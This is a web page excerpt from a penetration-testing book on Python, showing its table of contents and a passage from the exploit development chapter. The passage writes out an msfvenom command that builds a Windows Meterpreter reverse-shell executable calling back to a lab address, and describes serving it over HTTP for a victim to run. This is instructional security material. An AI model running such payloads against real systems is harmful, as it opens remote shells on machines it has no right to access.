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Learning Penetration Testing with Python

You're reading from   Learning Penetration Testing with Python Utilize Python scripting to execute effective and efficient penetration tests

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Product type Paperback
Published in Sep 2015
Publisher
ISBN-13 9781785282324
Length 314 pages
Edition 1st Edition
Languages
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Author (1):
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Christopher Duffy Christopher Duffy
Author Profile Icon Christopher Duffy
Christopher Duffy
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Toc

Table of Contents (12) Chapters Close

Preface 1. Understanding the Penetration Testing Methodology FREE CHAPTER 2. The Basics of Python Scripting 3. Identifying Targets with Nmap, Scapy, and Python 4. Executing Credential Attacks with Python 5. Exploiting Services with Python 6. Assessing Web Applications with Python 7. Cracking the Perimeter with Python 8. Exploit Development with Python, Metasploit, and Immunity 9. Automating Reports and Tasks with Python 10. Adding Permanency to Python Tools Index

Understanding the purpose of local exploits

It should be noted that the same access could be achieved by executing a payload on the system. Generating such a payload would only require us to run the following command:

msfvenom -p windows/meterpreter/reverse_nonx_tcp lhost=192.168.195.169 lport=443 -b '\x00' -f exe -o /tmp/exploit.exe

Then, start up a Python web server with the following command:

python -m SimpleHTTPServer

The following figure highlights the output of the relevant commands:

Understanding the purpose of local exploits

Then, achieve the desired results by downloading and executing the payload through a browser on the victims system.

Understanding the purpose of local exploits

So you may be asking yourself, Why did we create this exploit then? If the software we just created this exploit for was running as an administrator instead of the user we were logged into, then exploiting this solution would be more useful. The nature of this program though this scenario is unlikely. As such, generating a Metasploit module for an exploit this would not be very useful...

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